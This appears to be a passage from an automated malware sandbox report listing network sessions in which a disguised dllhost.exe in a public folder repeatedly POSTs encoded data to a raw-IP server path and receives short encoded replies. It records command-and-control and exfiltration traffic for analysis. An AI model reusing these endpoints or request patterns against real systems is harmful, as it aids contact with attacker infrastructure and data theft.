                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:57.218709946 CET2536OUTData Raw: 5c 58 46 53 58 43 55 52 54 57 5b 51 55 5b 59 5a 50 58 5a 50 56 53 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XFSXCURTW[QU[YZPXZPVSWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_$=:(,[76#(!Z3/#P(<[!)(5V$<)(Y5W0Z<?&\"'Z,$


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      121192.168.2.45012991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:58.093786955 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:58.437311888 CET1860OUTData Raw: 5c 5e 43 56 58 41 50 5b 54 57 5b 51 55 5c 59 5b 50 52 5a 5c 56 55 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CVXAP[TW[QU\Y[PRZ\VUWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''"?:?#S$*5)0?U?9#4:#!V,U? 5(*/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:59.358808994 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:59.593125105 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 51 32 18 37 5f 2a 23 2d 19 2b 3f 3f 5e 2e 01 0e 11 3f 30 22 06 25 3e 37 57 25 16 32 50 3c 10 37 17 24 31 22 0f 24 27 0d 55 2b 38 2f 58 07 1c 24 05 3c 38 38 01 25 30 32 5e 29 1f 3c 02 26 03 24 5c 27 3e 05 02 27 33 3f 07 2b 20 39 1c 31 38 25 16 28 05 37 07 39 19 38 57 23 24 23 53 08 11 25 1a 24 0f 06 10 27 2f 38 13 36 1d 3a 1c 33 15 2b 1c 28 3c 05 00 2b 1d 21 5e 28 22 2e 1f 33 32 06 53 30 2c 28 5c 27 1d 36 19 31 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9Q27_*#-+??^.?0"%>7W%2P<7$1"$'U+8/X$<88%02^)<&$\'>'3?+ 918%(798W#$#S%$'/86:3+(<+!^(".32S0,(\'61*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      122192.168.2.45013091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:58.209141016 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:58.562304020 CET2536OUTData Raw: 59 53 43 51 58 43 55 52 54 57 5b 51 55 5c 59 5e 50 5b 5a 59 56 56 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCQXCURTW[QU\Y^P[ZYVVWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3>%\(9840?5%^$Y;V<)Y#\;Q! ++)'""3*?&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:59.486265898 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:59.721002102 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      123192.168.2.45013191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:59.960706949 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:00.325293064 CET2532OUTData Raw: 59 5b 43 51 58 40 55 5b 54 57 5b 51 55 58 59 54 50 5a 5a 5c 56 55 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CQX@U[TW[QUXYTPZZ\VUW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0=\<)(Y77+59$Y#U?Y##W"')9<6(X?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:01.226708889 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:01.460973024 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:01 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      124192.168.2.45013291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:01.694564104 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:02.046761990 CET2536OUTData Raw: 5c 58 43 54 5d 46 50 59 54 57 5b 51 55 59 59 5c 50 5f 5a 5e 56 5d 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XCT]FPYTW[QUYY\P_Z^V]W\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0!X()[ _?%%\$<'+* Z49#U6 ?$X61?/&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:02.959403992 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:03.192900896 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:02 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      125192.168.2.45013391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:03.496457100 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:03.843508959 CET2536OUTData Raw: 59 53 43 57 5d 41 55 5c 54 57 5b 51 55 5a 59 5b 50 59 5a 5b 56 51 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCW]AU\TW[QUZY[PYZ[VQWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'>:?8["5;+C%[3?< #\?U6(T+3"2#+&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      126192.168.2.45013491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:04.731476068 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:05.077949047 CET1860OUTData Raw: 5c 5c 46 54 58 44 55 5b 54 57 5b 51 55 59 59 5c 50 58 5a 5a 56 50 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\FTXDU[TW[QUYY\PXZZVPW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'02?_8_#S+Y(&>3?((877T5 (),5Z+/&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:06.000097036 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:06.233171940 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:05 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 12 25 18 2b 10 2a 1d 3e 0d 29 3c 33 16 39 2c 24 5d 2b 1e 2a 02 24 2e 06 0c 32 38 0c 12 3f 2d 2b 59 24 0b 32 08 30 24 28 0c 2a 28 2f 58 07 1c 24 02 2b 02 2f 59 32 55 2a 5e 29 32 3c 02 31 13 27 05 27 10 3b 03 24 0d 2c 5a 28 55 3d 53 31 3b 2a 0a 2b 2b 34 19 39 34 33 0c 36 34 23 53 08 11 25 57 33 21 24 5d 32 01 37 07 36 30 3d 0e 24 3b 06 08 3e 05 28 12 3f 30 3d 5a 3c 0f 08 55 30 32 23 0d 33 01 34 5d 33 23 36 57 25 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9%+*>)<39,$]+*$.28?-+Y$20$(*(/X$+/Y2U*^)2<1'';$,Z(U=S1;*++494364#S%W3!$]2760=$;>(?0=Z<U02#34]3#6W%:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      127192.168.2.45013591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:04.853023052 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:05.202967882 CET2536OUTData Raw: 5c 5b 46 50 58 42 50 5f 54 57 5b 51 55 50 59 55 50 5b 5a 5e 56 52 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[FPXBP_TW[QUPYUP[Z^VRWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0)\?)84(6>&<<+9+ (6#$Q<$^5(?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:30:06.121454000 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:06.357172012 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:05 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      128192.168.2.45013691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:06.599147081 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:30:06.953253984 CET2536OUTData Raw: 5c 5b 46 57 58 43 50 5f 54 57 5b 51 55 5d 59 5e 50 5b 5a 5c 56 5d 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[FWXCP_TW[QU]Y^P[Z\V]W\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0.? [##[<C9^3,?V?_74:Q6,T(_$";<?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:30:07.874840021 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:08.109097958 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:07 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      129192.168.2.45013791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:08.351416111 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:08.703125000 CET2536OUTData Raw: 59 5c 43 50 5d 47 55 5c 54 57 5b 51 55 5b 59 5c 50 59 5a 5c 56 51 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\CP]GU\TW[QU[Y\PYZ\VQWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z$.>?945(+%\&/+)'!)?"V0?61<<?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:30:09.618460894 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:09.889375925 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:09 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      130192.168.2.45013891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:10.131407976 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:10.487129927 CET2536OUTData Raw: 5c 5e 43 55 58 43 55 5a 54 57 5b 51 55 5b 59 55 50 5d 5a 5f 56 50 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CUXCUZTW[QU[YUP]Z_VPWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'&=_+^"67[*6237V+'#$! 8<:<]#!??&\"'Z,$


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      131192.168.2.45013991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:11.359394073 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:11.718585014 CET1860OUTData Raw: 5c 59 43 54 5d 40 50 59 54 57 5b 51 55 59 59 5c 50 5d 5a 5a 56 57 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YCT]@PYTW[QUYY\P]ZZVWW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$.1X?:,7%;[?%!^0;Q):(#9#U6Q(5,^<?&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:12.625842094 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:12.857197046 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 08 26 40 2f 58 2a 33 26 09 3c 2c 0e 01 2e 2f 33 03 28 30 35 12 26 00 06 0a 31 06 26 51 3f 3e 27 15 24 22 2e 0e 27 09 05 51 2b 38 2f 58 07 1c 27 5b 28 15 02 04 31 33 00 1b 3e 57 27 59 32 2e 3c 5d 24 2d 27 00 30 0a 28 5e 3f 1d 2e 0c 26 16 29 1b 2b 05 28 19 2f 37 2b 0c 36 34 23 53 08 11 25 19 26 31 28 59 25 3c 3c 58 22 0d 29 0d 33 15 23 1c 2a 3f 20 5a 2a 30 26 00 3c 0f 3a 57 33 0c 3c 57 27 2f 34 5d 30 33 04 57 24 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :&@/X*3&<,./3(05&1&Q?>'$".'Q+8/X'[(13>W'Y2.<]$-'0(^?.&)+(/7+64#S%&1(Y%<<X")3#*? Z*0&<:W3<W'/4]03W$:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      132192.168.2.45014091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:30:11.479582071 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:30:11.827976942 CET2536OUTData Raw: 5c 5e 46 57 5d 43 55 59 54 57 5b 51 55 59 59 5a 50 5a 5a 5c 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FW]CUYTW[QUYYZPZZ\VPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^$>1Y?*<[ ?&-3<(_4X4*;Q#3,T?90!!0+?&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:30:12.757286072 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:30:12.993206024 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:30:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      133192.168.2.45014191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
